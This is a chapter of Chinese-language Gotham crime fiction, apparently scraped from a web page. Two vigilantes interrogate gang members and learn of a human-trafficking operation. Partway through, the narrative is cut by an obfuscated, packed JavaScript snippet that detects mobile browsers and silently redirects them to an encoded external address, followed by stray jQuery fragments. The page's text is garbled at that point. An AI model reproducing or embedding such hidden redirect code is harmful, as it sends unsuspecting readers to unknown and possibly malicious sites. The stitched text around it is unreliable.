“你知道怎么混进去吧？”阿尔文确认。


    “这很简单。”埃利奥说，“今晚本来也轮到我值班。”


    阿尔文点了点头。埃利奥顺着水管滑到地面，摘下兜帽后拍了拍身上的灰，从后门走进了酒吧。没过十分钟，之前闯进格雷厄姆家里的一个黑邦成员从后门走了出来，身后跟着换上酒保西装的年轻人。


    “所以，”埃利奥顺手锁上后门，“你是利亚姆·‘幸运’·奎恩帮的成员？”


    “当然了，小男孩，”叼着烟的帮派成员调笑，“你也想加入吗？”


    “你为什么闯入格雷厄姆的住所？”埃利奥说。


    帮派成员不笑了。“你不知道你在打听什么，”他把烟吐到地上，手往后摸去，“我建议你开口前谨慎思考一下……”


    他摸了个空。枪套里的东西不知何时消失得无影无踪。直到此时，他的表情才变得严肃起来。


    “在找这个吗？”


    埃利奥从身后抽出一把枪，单手上膛，迅速对准了帮派成员。


    “该死，什么时候？”


    “我建议你开口前谨慎思考一下。” 埃利奥平稳地说，“我会问你几个问题——只是几个问题，只要回答上来，我就会放你走。不会有其他人知道我们今晚的对话，除非你自己说出去。”


    阿尔文悄无声息地跃下屋顶，攀上附近视野更好的短墙，蹲在那里观望。


    被威胁的帮派成员打量了埃利奥一会儿，突然笑了起来。


    “得了吧，小鬼，”他换了个站姿，轻松地把身体重量压到右边，“你没见过血。我知道杀过人的人看起来是什么样的，而你距离杀人犯还很远。别以为手里拿着把枪就能学蝙蝠吓人，现在把枪丢下，我还能放过你……”


    埃利奥对准他的枪口微微下垂，像是被他说动了。看到这一点，黑邦成员脸上闪过一抹得意的神色——他就知道这个整天沉默寡言的小鬼做不出什么来。


    但下一秒，火花的亮光从枪口中迸溅，在他来得及意识到发生了什么之前，腹部猛烈的痛苦迫使他弯下了腰。


    “什么…”


    埃利奥没有放过敌人失神的机会。他一脚踢中帮派成员中弹的位置，把他踹倒在地。鲜血把他的廉价皮靴染成红底，埃利奥踩在他的伤口上，面无表情地弯下腰，用仍然发烫的枪口顶住帮派成员的太阳穴；在后者嗷嗷的惨叫声中，埃利奥的另一只手拎起他的衣领，迫使他抬头直面自己。


    “我看起来像是在开玩笑吗？”他逼问。


    “我说，我说！”帮派成员连连摇头，“你想知道我为什么去格雷厄姆家里乱翻？很简单，因为我们的老大叫我们这么做！”


    “废话，”埃利奥说，“为什么他让你们这么做？”


    “因为…因为……”


    他眼珠一转，埃利奥踩在他腹部的皮靴立刻威胁地碾了碾。


    “饶了我吧！”帮派成员鬼哭狼嚎，“我也不知道为什么！”


    埃利奥说，“说你知道的部分。”


    “好吧，”黑邦成员扭了扭身体，“我知道的不多，真的，不像格雷厄姆原来是个小头目……”


    他说到一半，埃利奥露出见了鬼的表情。“你说格雷厄姆是什么？他是你们帮的？”


    “见鬼，”黑邦成员瞪大了眼睛，“你连这个都不知道？那你为什么要打听他的事情？”


    埃利奥还没来得及说话，他们身后的酒吧后门传来一声失败的开门声。


    “什么情况？”有人迷迷瞪瞪地嘀咕，“后门锁了？”


    他们得加快时间了。埃利奥决定先忽略这个疑点，枪口敲了敲帮派成员的脑袋，“别管，继续说。”


    “好的好的，”黑邦成员连忙说，“我听说他背叛了奎恩，被抓了起来。我和我的朋友被派去搜他的家，就是为了知道他有没有别的…同伙……”他说着说着，声音逐渐低了下去，打量着埃利奥的眼神变得恍然大悟。


    这不就是老大要找的同伙吗？


    埃利奥眼睛一眯，读懂了帮派成员的眼神。没等他再来一脚，帮派成员已经熟练地抱头求饶，“我没见过你！我什么都不知道！”


    “你刚才说他背叛了奎恩？”埃利奥没被影响，“为什么会有这种说法？”


    难道不是因为他和你暗通款曲？


    没等帮派成员把这句话说出口，埃利奥又敲了一下他的脑袋，“给你一个机会，仔细想想。”


    “我想想…”帮派成员努力回忆，“听说他搞砸了一个很重要的交易，老大对他很生气……”


    “什么交易？！”


    “这我真不知道！”帮派成员叫道，“我的级别不够我知道那种事情！”


    他正准备再问几句，后门传来了开锁声。埃利奥动作一顿，下意识地往后瞟了一眼；就在这一瞬间，原本在他钳制下的帮派成员抓住时机，立刻伸手去抢顶在他脑门上的枪。争夺未果，他劈手打在埃利奥手腕上，枪从两人手中摔下，滑出短短的一英尺开外。


    后门打开锁的老板看到这一场景，愣在原地。他身后的其他帮派成员不耐烦地把他拨开，接着，他也看到了小巷里争夺手枪的两个身影。


    “见鬼！”他反应过来，大声骂道，“兄弟们，有人偷袭！”


    其他醉醺醺的帮派成员一哄而出。埃利奥顿时陷入前后夹击的境地，尽管他抢到了枪，但也不由得心生绝望。在他面前，那个捂着肚子的帮派成员刚刚露出得意的笑容，张开嘴像是想要说些什么，但下一秒，他僵住了。


    他的停顿似乎预示着某个信号。身经百战的哥谭人被夜晚的冷风一吹，智商再次占领高地。没有人先动。所有人面面相觑，埃利奥冷汗滴落。


    他面前的那个帮派成员率先动了。但他动的不是手，也不是脚，而是脖子。他咔咔抬起头，慢慢往上看。在埃利奥身后的酒吧招牌上，不知何时落着一团模糊的阴影。


    “晚上好，”戴着兜帽的身影轻快地和他们打招呼，“混蛋们。”


    刺客一跃而下。他借着身体的重量痛击帮派成员，一脚把埃利奥背后的敌人踹进地里。当其他人刚刚反应过来，端起枪口时，他风衣里的小球已经咕噜咕噜滚到了地上。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258461|166479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “手雷？！”帮派成员大惊。


    但那不是手雷。刺客很少使用大范围杀伤武器，这不符合他的杀人美学。烟雾四起，阿尔文游走在胡乱攻击的帮派成员之间，悄无声息地勒走他们的清醒意识。等到烟雾散去，原地垒起生死不明的“尸体”。


    只剩下白天闯入过格雷厄姆家里的另一个帮派成员。


    “说。”阿尔文踩着他的脑袋。


    “我说！”他连声求饶，“无论你想要知道什么！”


    阿尔文瞥了眼埃利奥。身着西装的黑发年轻人已经敲晕了他刚才审问的帮派成员，拎着还在滴血的枪走了过来。


    “格雷厄姆破坏了什么交易？”他面无表情地问。


    “我听说…”帮派成员迫于威慑，支支吾吾地说，“是人口交易……”


    阿尔文皱了下眉。所以“老板拿格雷厄姆补上了‘货物’的缺口”。


    “继续。”埃利奥说。


    “隔一段时间，他们就会从街头抓一些人，运到指定的地点，”帮派成员断断续续地吐露，“这就是我知道的全部内容了！”


    大概他也知道自己说得太少，害怕审问者不满意，他连忙补充，“没有时间，没有地点，他们很谨慎，只会在交易的前半个小时左右临时叫来人手，交易过程也会收走手机。”


    “你参与过？”埃利奥问。


    “没有，”帮派成员无所不答，“但我朋友被叫去过一次。”


    埃利奥若有所思。他在帮派成员面前缓缓蹲下，打量着他。阿尔文看了他一眼，松开了帮派成员，后者却不敢反抗，只是战战兢兢地往墙根缩了缩，“您二位还有什么想问的？”


    “我有个小忙想让你帮一帮。”埃利奥和颜悦色地说。


    阿尔文立刻猜到了他想干什么，“你不是认真的吧。”


    “我是。”埃利奥说。


    “…我能拒绝吗？”帮派成员问。


    阿尔文和埃利奥一齐凝视着他。


    “很简单的，”埃利奥说，“如果你被叫去参与交易，告诉我一声就行。”


    他的语气很和缓，听起来像是在商量。帮派成员还记得这小子当酒保时问他们这款软饮料售罄，是否方便换一款时的温吞语气，和现在的语气真是该死的一模一样。但他现在不敢随意应答这句话了。


    “怎么告诉你？”他战战兢兢地问。


    埃利奥短暂地沉默了一会儿。站在他身侧的阿尔文拉开风衣内侧，摸出一只一次性手机，抛给帮派成员。


    “里面只有一个号码，”他说，“无论哪里都能拨通。”


    帮派成员接过那只手机，翻过来看了两眼，塞进口袋里。见面前的两个杀神没别的问题，他往后又退了几步，随后同手同脚地迅速跑走了。


    “谢谢你。”埃利奥说。


    “别急着谢我，”阿尔文叹了口气，用手指梳了梳自己的红发，“说真的，你现在需要休息。”


    疲惫沉甸甸地压在埃利奥的肩膀上。但他没有接受阿尔文的建议。


    “我要去调查薇洛的失踪。”埃利奥说。